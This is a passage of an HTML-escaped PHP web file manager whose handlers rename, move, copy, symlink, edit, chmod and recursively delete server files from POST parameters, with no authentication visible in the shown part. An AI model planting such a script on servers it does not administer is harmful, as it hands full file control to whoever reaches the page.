/&gt;';&lt;br /&gt;&lt;br /&gt;        html_footer();&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    break;&lt;br /&gt;&lt;br /&gt;case 'rename':&lt;br /&gt;&lt;br /&gt;    if (!empty($_POST['destination'])) {&lt;br /&gt;&lt;br /&gt;        $dest = relative2absolute($_POST['destination'], $directory);&lt;br /&gt;&lt;br /&gt;        if (!@file_exists($dest) &amp;&amp; @rename($file, $dest)) {&lt;br /&gt;            listing_page(notice('renamed', $file, $dest));&lt;br /&gt;        } else {&lt;br /&gt;            listing_page(error('not_renamed', $file, $dest));&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;    } else {&lt;br /&gt;&lt;br /&gt;        $name = basename($file);&lt;br /&gt;&lt;br /&gt;        html_header();&lt;br /&gt;&lt;br /&gt;        echo '&amp;lt;form action="' . $self . '" method="post"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;table class="dialog"&gt;&lt;br /&gt;&amp;lt;tr&gt;&lt;br /&gt;&amp;lt;td class="dialog"&gt;&lt;br /&gt;    &amp;lt;input type="hidden" name="action" value="rename" /&gt;&lt;br /&gt;    &amp;lt;input type="hidden" name="file" value="' . html($file) . '" /&gt;&lt;br /&gt;    &amp;lt;input type="hidden" name="dir" value="' . html($directory) . '" /&gt;&lt;br /&gt;    &amp;lt;b&gt;' . word('rename_file') . '&amp;lt;/b&gt;&lt;br /&gt;    &amp;lt;p&gt;' . html($file) . '&amp;lt;/p&gt;&lt;br /&gt;    &amp;lt;b&gt;' . substr($file, 0, strlen($file) - strlen($name)) . '&amp;lt;/b&gt;&lt;br /&gt;    &amp;lt;input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" /&gt;&lt;br /&gt;    &amp;lt;hr /&gt;&lt;br /&gt;    &amp;lt;input type="submit" value="' . word('rename') . '" /&gt;&lt;br /&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;p&gt;&amp;lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&gt;[ ' . word('back') . ' ]&amp;lt;/a&gt;&amp;lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;        html_footer();&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    break;&lt;br /&gt;&lt;br /&gt;case 'move':&lt;br /&gt;&lt;br /&gt;    if (!empty($_POST['destination'])) {&lt;br /&gt;&lt;br /&gt;        $dest = relative2absolute($_POST['destination'], $directory);&lt;br /&gt;&lt;br /&gt;        $failure = array();&lt;br /&gt;        $success = array();&lt;br /&gt;&lt;br /&gt;        foreach ($files as $file) {&lt;br /&gt;            $filename = substr($file, strlen($directory));&lt;br /&gt;            $d = $dest . $filename;&lt;br /&gt;            if (!@file_exists($d) &amp;&amp; @rename($file, $d)) {&lt;br /&gt;                $success[] = $file;&lt;br /&gt;            } else {&lt;br /&gt;                $failure[] = $file;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        $message = '';&lt;br /&gt;        if (sizeof($failure) &gt; 0) {&lt;br /&gt;            $message = error('not_moved', implode("\n", $failure), $dest);&lt;br /&gt;        }&lt;br /&gt;        if (sizeof($success) &gt; 0) {&lt;br /&gt;            $message .= notice('moved', implode("\n", $success), $dest);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        listing_page($message);&lt;br /&gt;&lt;br /&gt;    } else {&lt;br /&gt;&lt;br /&gt;        html_header();&lt;br /&gt;&lt;br /&gt;        echo '&amp;lt;form action="' . $self . '" method="post"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;table class="dialog"&gt;&lt;br /&gt;&amp;lt;tr&gt;&lt;br /&gt;&amp;lt;td class="dialog"&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;        request_dump();&lt;br /&gt;&lt;br /&gt;        echo "\t&amp;lt;b&gt;" . word('move_files') . '&amp;lt;/b&gt;&lt;br /&gt;    &amp;lt;p&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;        foreach ($files as $file) {&lt;br /&gt;            echo "\t" . html($file) . "&amp;lt;br /&gt;\n";&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        echo '    &amp;lt;/p&gt;&lt;br /&gt;    &amp;lt;hr /&gt;&lt;br /&gt;    ' . word('destination') . ':&lt;br /&gt;    &amp;lt;input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /&gt;&lt;br /&gt;    &amp;lt;input type="submit" value="' . word('move') . '" /&gt;&lt;br /&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;p&gt;&amp;lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&gt;[ ' . word('back') . ' ]&amp;lt;/a&gt;&amp;lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;        html_footer();&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    break;&lt;br /&gt;&lt;br /&gt;case 'copy':&lt;br /&gt;&lt;br /&gt;    if (!empty($_POST['destination'])) {&lt;br /&gt;&lt;br /&gt;        $dest = relative2absolute($_POST['destination'], $directory);&lt;br /&gt;&lt;br /&gt;        if (@is_dir($dest)) {&lt;br /&gt;&lt;br /&gt;            $failure = array();&lt;br /&gt;            $success = array();&lt;br /&gt;&lt;br /&gt;            foreach ($files as $file) {&lt;br /&gt;                $filename = substr($file, strlen($directory));&lt;br /&gt;                $d = addslash($dest) . $filename;&lt;br /&gt;                if (!@is_dir($file) &amp;&amp; !@file_exists($d) &amp;&amp; @copy($file, $d)) {&lt;br /&gt;                    $success[] = $file;&lt;br /&gt;                } else {&lt;br /&gt;                    $failure[] = $file;&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            $message = '';&lt;br /&gt;            if (sizeof($failure) &gt; 0) {&lt;br /&gt;                $message = error('not_copied', implode("\n", $failure), $dest);&lt;br /&gt;            }&lt;br /&gt;            if (sizeof($success) &gt; 0) {&lt;br /&gt;                $message .= notice('copied', implode("\n", $success), $dest);&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            listing_page($message);&lt;br /&gt;&lt;br /&gt;        } else {&lt;br /&gt;&lt;br /&gt;            if (!@file_exists($dest) &amp;&amp; @copy($file, $dest)) {&lt;br /&gt;                listing_page(notice('copied', $file, $dest));&lt;br /&gt;            } else {&lt;br /&gt;                listing_page(error('not_copied', $file, $dest));&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;    } else {&lt;br /&gt;&lt;br /&gt;        html_header();&lt;br /&gt;&lt;br /&gt;        echo '&amp;lt;form action="' . $self . '" method="post"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;table class="dialog"&gt;&lt;br /&gt;&amp;lt;tr&gt;&lt;br /&gt;&amp;lt;td class="dialog"&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;        request_dump();&lt;br /&gt;&lt;br /&gt;        echo "\n&amp;lt;b&gt;" . word('copy_files') . '&amp;lt;/b&gt;&lt;br /&gt;    &amp;lt;p&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;        foreach ($files as $file) {&lt;br /&gt;            echo "\t" . html($file) . "&amp;lt;br /&gt;\n";&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        echo '    &amp;lt;/p&gt;&lt;br /&gt;    &amp;lt;hr /&gt;&lt;br /&gt;    ' . word('destination') . ':&lt;br /&gt;    &amp;lt;input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /&gt;&lt;br /&gt;    &amp;lt;input type="submit" value="' . word('copy') . '" /&gt;&lt;br /&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;p&gt;&amp;lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&gt;[ ' . word('back') . ' ]&amp;lt;/a&gt;&amp;lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;        html_footer();&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    break;&lt;br /&gt;&lt;br /&gt;case 'create_symlink':&lt;br /&gt;&lt;br /&gt;    if (!empty($_POST['destination'])) {&lt;br /&gt;&lt;br /&gt;        $dest = relative2absolute($_POST['destination'], $directory);&lt;br /&gt;&lt;br /&gt;        if (substr($dest, -1, 1) == $delim) $dest .= basename($file);&lt;br /&gt;&lt;br /&gt;        if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);&lt;br /&gt;&lt;br /&gt;        if (!@file_exists($dest) &amp;&amp; @symlink($file, $dest)) {&lt;br /&gt;            listing_page(notice('symlinked', $file, $dest));&lt;br /&gt;        } else {&lt;br /&gt;            listing_page(error('not_symlinked', $file, $dest));&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;    } else {&lt;br /&gt;&lt;br /&gt;        html_header();&lt;br /&gt;&lt;br /&gt;        echo '&amp;lt;form action="' . $self . '" method="post"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;table class="dialog" id="symlink"&gt;&lt;br /&gt;&amp;lt;tr&gt;&lt;br /&gt;    &amp;lt;td style="vertical-align: top"&gt;' . word('destination') . ': &amp;lt;/td&gt;&lt;br /&gt;    &amp;lt;td&gt;&lt;br /&gt;        &amp;lt;b&gt;' . html($file) . '&amp;lt;/b&gt;&amp;lt;br /&gt;&lt;br /&gt;        &amp;lt;input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" /&gt;&lt;br /&gt;        &amp;lt;label for="checkbox_relative"&gt;' . word('relative') . '&amp;lt;/label&gt;&lt;br /&gt;        &amp;lt;input type="hidden" name="action" value="create_symlink" /&gt;&lt;br /&gt;        &amp;lt;input type="hidden" name="file" value="' . html($file) . '" /&gt;&lt;br /&gt;        &amp;lt;input type="hidden" name="dir" value="' . html($directory) . '" /&gt;&lt;br /&gt;    &amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;tr&gt;&lt;br /&gt;    &amp;lt;td&gt;' . word('symlink') . ': &amp;lt;/td&gt;&lt;br /&gt;    &amp;lt;td&gt;&lt;br /&gt;        &amp;lt;input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /&gt;&lt;br /&gt;        &amp;lt;input type="submit" value="' . word('create_symlink') . '" /&gt;&lt;br /&gt;    &amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;p&gt;&amp;lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&gt;[ ' . word('back') . ' ]&amp;lt;/a&gt;&amp;lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;        html_footer();&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    break;&lt;br /&gt;&lt;br /&gt;case 'edit':&lt;br /&gt;&lt;br /&gt;    if (!empty($_POST['save'])) {&lt;br /&gt;&lt;br /&gt;        $content = str_replace("\r\n", "\n", $_POST['content']);&lt;br /&gt;&lt;br /&gt;        if (($f = @fopen($file, 'w')) &amp;&amp; @fwrite($f, $content) !== false &amp;&amp; @fclose($f)) {&lt;br /&gt;            listing_page(notice('saved', $file));&lt;br /&gt;        } else {&lt;br /&gt;            listing_page(error('not_saved', $file));&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;    } else {&lt;br /&gt;&lt;br /&gt;        if (@is_readable($file) &amp;&amp; @is_writable($file)) {&lt;br /&gt;            edit($file);&lt;br /&gt;        } else {&lt;br /&gt;            listing_page(error('not_edited', $file));&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    break;&lt;br /&gt;&lt;br /&gt;case 'permission':&lt;br /&gt;&lt;br /&gt;    if (!empty($_POST['set'])) {&lt;br /&gt;&lt;br /&gt;        $mode = 0;&lt;br /&gt;        if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;&lt;br /&gt;        if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;&lt;br /&gt;        if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;&lt;br /&gt;&lt;br /&gt;        if (@chmod($file, $mode)) {&lt;br /&gt;            listing_page(notice('permission_set', $file, decoct($mode)));&lt;br /&gt;        } else {&lt;br /&gt;            listing_page(error('permission_not_set', $file, decoct($mode)));&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;    } else {&lt;br /&gt;&lt;br /&gt;        html_header();&lt;br /&gt;&lt;br /&gt;        $mode = fileperms($file);&lt;br /&gt;&lt;br /&gt;        echo '&amp;lt;form action="' . $self . '" method="post"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;table class="dialog"&gt;&lt;br /&gt;&amp;lt;tr&gt;&lt;br /&gt;&amp;lt;td class="dialog"&gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;p style="margin: 0"&gt;' . phrase('permission_for', $file) . '&amp;lt;/p&gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;table id="permission"&gt;&lt;br /&gt;    &amp;lt;tr&gt;&lt;br /&gt;        &amp;lt;td&gt;&amp;lt;/td&gt;&lt;br /&gt;        &amp;lt;td style="border-right: 1px solid black"&gt;' . word('owner') . '&amp;lt;/td&gt;&lt;br /&gt;        &amp;lt;td style="border-right: 1px solid black"&gt;' . word('group') . '&amp;lt;/td&gt;&lt;br /&gt;        &amp;lt;td&gt;' . word('other') . '&amp;lt;/td&gt;&lt;br /&gt;    &amp;lt;/tr&gt;&lt;br /&gt;    &amp;lt;tr&gt;&lt;br /&gt;        &amp;lt;td style="text-align: right"&gt;' . word('read') . ':&amp;lt;/td&gt;&lt;br /&gt;        &amp;lt;td&gt;&amp;lt;input type="checkbox" name="ur" value="1"'; if ($mode &amp; 00400) echo ' checked="checked"'; echo ' /&gt;&amp;lt;/td&gt;&lt;br /&gt;        &amp;lt;td&gt;&amp;lt;input type="checkbox" name="gr" value="1"'; if ($mode &amp; 00040) echo ' checked="checked"'; echo ' /&gt;&amp;lt;/td&gt;&lt;br /&gt;        &amp;lt;td&gt;&amp;lt;input type="checkbox" name="or" value="1"'; if ($mode &amp; 00004) echo ' checked="checked"'; echo ' /&gt;&amp;lt;/td&gt;&lt;br /&gt;    &amp;lt;/tr&gt;&lt;br /&gt;    &amp;lt;tr&gt;&lt;br /&gt;        &amp;lt;td style="text-align: right"&gt;' . word('write') . ':&amp;lt;/td&gt;&lt;br /&gt;        &amp;lt;td&gt;&amp;lt;input type="checkbox" name="uw" value="1"'; if ($mode &amp; 00200) echo ' checked="checked"'; echo ' /&gt;&amp;lt;/td&gt;&lt;br /&gt;        &amp;lt;td&gt;&amp;lt;input type="checkbox" name="gw" value="1"'; if ($mode &amp; 00020) echo ' checked="checked"'; echo ' /&gt;&amp;lt;/td&gt;&lt;br /&gt;        &amp;lt;td&gt;&amp;lt;input type="checkbox" name="ow" value="1"'; if ($mode &amp; 00002) echo ' checked="checked"'; echo ' /&gt;&amp;lt;/td&gt;&lt;br /&gt;    &amp;lt;/tr&gt;&lt;br /&gt;    &amp;lt;tr&gt;&lt;br /&gt;        &amp;lt;td style="text-align: right"&gt;' . word('execute') . ':&amp;lt;/td&gt;&lt;br /&gt;        &amp;lt;td&gt;&amp;lt;input type="checkbox" name="ux" value="1"'; if ($mode &amp; 00100) echo ' checked="checked"'; echo ' /&gt;&amp;lt;/td&gt;&lt;br /&gt;        &amp;lt;td&gt;&amp;lt;input type="checkbox" name="gx" value="1"'; if ($mode &amp; 00010) echo ' checked="checked"'; echo ' /&gt;&amp;lt;/td&gt;&lt;br /&gt;        &amp;lt;td&gt;&amp;lt;input type="checkbox" name="ox" value="1"'; if ($mode &amp; 00001) echo ' checked="checked"'; echo ' /&gt;&amp;lt;/td&gt;&lt;br /&gt;    &amp;lt;/tr&gt;&lt;br /&gt;    &amp;lt;/table&gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;input type="submit" name="set" value="' . word('set') . '" /&gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;input type="hidden" name="action" value="permission" /&gt;&lt;br /&gt;    &amp;lt;input type="hidden" name="file" value="' . html($file) . '" /&gt;&lt;br /&gt;    &amp;lt;input type="hidden" name="dir" value="' . html($directory) . '" /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;p&gt;&amp;lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&gt;[ ' . word('back') . ' ]&amp;lt;/a&gt;&amp;lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;        html_footer();&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    break;&lt;br /&gt;&lt;br /&gt;default:&lt;br /&gt;&lt;br /&gt;    listing_page();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* ------------------------------------------------------------------------- */&lt;br /&gt;&lt;br /&gt;function getlist ($directory) {&lt;br /&gt;    global $delim, $win;&lt;br /&gt;&lt;br /&gt;    if ($d = @opendir($directory)) {&lt;br /&gt;&lt;br /&gt;        while (($filename = @readdir($d)) !== false) {&lt;br /&gt;&lt;br /&gt;            $path = $directory . $filename;&lt;br /&gt;&lt;br /&gt;            if ($stat = @lstat($path)) {&lt;br /&gt;&lt;br /&gt;                $file = array(&lt;br /&gt;                    'filename'    =&gt; $filename,&lt;br /&gt;                    'path'        =&gt; $path,&lt;br /&gt;                    'is_file'     =&gt; @is_file($path),&lt;br /&gt;                    'is_dir'      =&gt; @is_dir($path),&lt;br /&gt;                    'is_link'     =&gt; @is_link($path),&lt;br /&gt;                    'is_readable' =&gt; @is_readable($path),&lt;br /&gt;                    'is_writable' =&gt; @is_writable($path),&lt;br /&gt;                    'size'        =&gt; $stat['size'],&lt;br /&gt;                    'permission'  =&gt; $stat['mode'],&lt;br /&gt;                    'owner'       =&gt; $stat['uid'],&lt;br /&gt;                    'group'       =&gt; $stat['gid'],&lt;br /&gt;                    'mtime'       =&gt; @filemtime($path),&lt;br /&gt;                    'atime'       =&gt; @fileatime($path),&lt;br /&gt;                    'ctime'       =&gt; @filectime($path)&lt;br /&gt;                );&lt;br /&gt;&lt;br /&gt;                if ($file['is_dir']) {&lt;br /&gt;                    $file['is_executable'] = @file_exists($path . $delim . '.');&lt;br /&gt;                } else {&lt;br /&gt;                    if (!$win) {&lt;br /&gt;                        $file['is_executable'] = @is_executable($path);&lt;br /&gt;                    } else {&lt;br /&gt;                        $file['is_executable'] = true;&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                if ($file['is_link']) $file['target'] = @readlink($path);&lt;br /&gt;&lt;br /&gt;                if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));&lt;br /&gt;                if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));&lt;br /&gt;&lt;br /&gt;                $files[] = $file;&lt;br /&gt;&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        return $files;&lt;br /&gt;&lt;br /&gt;    } else {&lt;br /&gt;        return false;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function sortlist ($list, $key, $reverse) {&lt;br /&gt;&lt;br /&gt;    $dirs = array();&lt;br /&gt;    $files = array();&lt;br /&gt;    &lt;br /&gt;    for ($i = 0; $i &amp;lt; sizeof($list); $i++) {&lt;br /&gt;        if ($list[$i]['is_dir']) $dirs[] = $list[$i];&lt;br /&gt;        else $files[] = $list[$i];&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    quicksort($dirs, 0, sizeof($dirs) - 1, $key);&lt;br /&gt;    if ($reverse) $dirs = array_reverse($dirs);&lt;br /&gt;&lt;br /&gt;    quicksort($files, 0, sizeof($files) - 1, $key);&lt;br /&gt;    if ($reverse) $files = array_reverse($files);&lt;br /&gt;&lt;br /&gt;    return array_merge($dirs, $files);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function quicksort (&amp;$array, $first, $last, $key) {&lt;br /&gt;&lt;br /&gt;    if ($first &amp;lt; $last) {&lt;br /&gt;&lt;br /&gt;        $cmp = $array[floor(($first + $last) / 2)][$key];&lt;br /&gt;&lt;br /&gt;        $l = $first;&lt;br /&gt;        $r = $last;&lt;br /&gt;&lt;br /&gt;        while ($l &amp;lt;= $r) {&lt;br /&gt;&lt;br /&gt;            while ($array[$l][$key] &amp;lt; $cmp) $l++;&lt;br /&gt;            while ($array[$r][$key] &gt; $cmp) $r--;&lt;br /&gt;&lt;br /&gt;            if ($l &amp;lt;= $r) {&lt;br /&gt;&lt;br /&gt;                $tmp = $array[$l];&lt;br /&gt;                $array[$l] = $array[$r];&lt;br /&gt;                $array[$r] = $tmp;&lt;br /&gt;&lt;br /&gt;                $l++;&lt;br /&gt;                $r--;&lt;br /&gt;&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        quicksort($array, $first, $r, $key);&lt;br /&gt;        quicksort($array, $l, $last, $key);&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function permission_octal2string ($mode) {&lt;br /&gt;&lt;br /&gt;    if (($mode &amp; 0xC000) === 0xC000) {&lt;br /&gt;        $type = 's';&lt;br /&gt;    } elseif (($mode &amp; 0xA000) === 0xA000) {&lt;br /&gt;        $type = 'l';&lt;br /&gt;    } elseif (($mode &amp; 0x8000) === 0x8000) {&lt;br /&gt;        $type = '-';&lt;br /&gt;    } elseif (($mode &amp; 0x6000) === 0x6000) {&lt;br /&gt;        $type = 'b';&lt;br /&gt;    } elseif (($mode &amp; 0x4000) === 0x4000) {&lt;br /&gt;        $type = 'd';&lt;br /&gt;    } elseif (($mode &amp; 0x2000) === 0x2000) {&lt;br /&gt;        $type = 'c';&lt;br /&gt;    } elseif (($mode &amp; 0x1000) === 0x1000) {&lt;br /&gt;        $type = 'p';&lt;br /&gt;    } else {&lt;br /&gt;        $type = '?';&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    $owner  = ($mode &amp; 00400) ? 'r' : '-';&lt;br /&gt;    $owner .= ($mode &amp; 00200) ? 'w' : '-';&lt;br /&gt;    if ($mode &amp; 0x800) {&lt;br /&gt;        $owner .= ($mode &amp; 00100) ? 's' : 'S';&lt;br /&gt;    } else {&lt;br /&gt;        $owner .= ($mode &amp; 00100) ? 'x' : '-';&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    $group  = ($mode &amp; 00040) ? 'r' : '-';&lt;br /&gt;    $group .= ($mode &amp; 00020) ? 'w' : '-';&lt;br /&gt;    if ($mode &amp; 0x400) {&lt;br /&gt;        $group .= ($mode &amp; 00010) ? 's' : 'S';&lt;br /&gt;    } else {&lt;br /&gt;        $group .= ($mode &amp; 00010) ? 'x' : '-';&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    $other  = ($mode &amp; 00004) ? 'r' : '-';&lt;br /&gt;    $other .= ($mode &amp; 00002) ? 'w' : '-';&lt;br /&gt;    if ($mode &amp; 0x200) {&lt;br /&gt;        $other .= ($mode &amp; 00001) ? 't' : 'T';&lt;br /&gt;    } else {&lt;br /&gt;        $other .= ($mode &amp; 00001) ? 'x' : '-';&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    return $type . $owner . $group . $other;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function is_script ($filename) {&lt;br /&gt;    return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function getmimetype ($filename) {&lt;br /&gt;    static $mimes = array(&lt;br /&gt;        '\.jpg$|\.jpeg$'  =&gt; 'image/jpeg',&lt;br /&gt;        '\.gif$'          =&gt; 'image/gif',&lt;br /&gt;        '\.png$'          =&gt; 'image/png',&lt;br /&gt;        '\.html$|\.html$' =&gt; 'text/html',&lt;br /&gt;        '\.txt$|\.asc$'   =&gt; 'text/plain',&lt;br /&gt;        '\.xml$|\.xsl$'   =&gt; 'application/xml',&lt;br /&gt;        '\.pdf$'          =&gt; 'application/pdf'&lt;br /&gt;    );&lt;br /&gt;&lt;br /&gt;    foreach ($mimes as $regex =&gt; $mime) {&lt;br /&gt;        if (eregi($regex, $filename)) return $mime;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    // return 'application/octet-stream';&lt;br /&gt;    return 'text/plain';&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function del ($file) {&lt;br /&gt;    global $delim;&lt;br /&gt;&lt;br /&gt;    if (!file_exists($file)) return false;&lt;br /&gt;&lt;br /&gt;    if (@is_dir($file) &amp;&amp; !@is_link($file)) {&lt;br /&gt;&lt;br /&gt;        $success = false;&lt;br /&gt;&lt;br /&gt;        if (@rmdir($file)) {&lt;br /&gt;&lt;br /&gt;            $success = true;&lt;br /&gt;&lt;br /&gt;        } elseif ($dir = @opendir($file)) {&lt;br /&gt;&lt;br /&gt;            $success = true;&lt;br /&gt;&lt;br /&gt;            while (($f = readdir($dir)) !== false) {&lt;br /&gt;                if ($f != '.' &amp;&amp; $f != '..' &amp;&amp; !del($file . $delim . $f)) {&lt;br /&gt;                    $success = false;&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            closedir($dir);&lt;br /&gt;&lt;br /&gt;            if ($success) $success = @rmdir($file);&lt;br /&gt;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        return $success;&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    return @unlink($file);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function addslash ($directory) {&lt;br /&gt;    global $delim;&lt;br /&gt;&lt;br /&gt;    if (substr($directory, -1, 1) != $delim) {&lt;br /&gt;        return $directory . $delim;&lt;br /&gt;    } else {&lt;br /&gt;        return $directory;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function relative2absolute ($string, $directory) {&lt;br /&gt;&lt;br /&gt;    if (path_is_relative($string)) {&lt;br /&gt;        return simplify_path(addslash($directory) . $string);&lt;br /&gt;    } else {&lt;br /&gt;        return simplify_path($string);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function path_is_relative ($path) {&lt;br /&gt;    global $win;&lt;br /&gt;&lt;br /&gt;    if ($win) {&lt;br /&gt;        return (substr($path, 1, 1) != ':');&lt;br /&gt;    } else {&lt;br /&gt;        return (substr($path, 0, 1) != '/');&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function absolute2relative ($directory, $target) {&lt;br /&gt;    global $delim;&lt;br /&gt;&lt;br /&gt;    $path = '';&lt;br /&gt;    while ($directory != $target) {&lt;br /&gt;        if ($directory == substr($target, 0, strlen($directory))) {&lt;br /&gt;            $path .= substr($target, strlen($directory));&lt;br /&gt;            break;&lt;br /&gt;        } else {&lt;br /&gt;            $path .= '..' . $delim;&lt;br /&gt;            $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    if ($path == '') $path = '.';&lt;br /&gt;&lt;br /&gt;    return $path;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function simplify_path ($path) {&lt;br /&gt;    global $delim;&lt;br /&gt;&lt;br /&gt;    if (@file_exists($path) &amp;&amp; function_exists('realpath') &amp;&amp; @realpath($path) != '') {&lt;br /&gt;        $path = realpath($path);&lt;br /&gt;        if (@is_dir($path)) {&lt;br /&gt;            return addslash($path);&lt;br /&gt;        } else {&lt;br /&gt;            return $path;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    $pattern  = $delim . '.' . $delim;&lt;br /&gt;&lt;br /&gt;    if (@is_dir($path)) {&lt;br /&gt;        $path = addslash($path);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    while (strpos($path, $pattern) !== false) {&lt;br /&gt;        $path = str_replace($pattern, $delim, $path);&lt;br /&gt;    }&lt;br 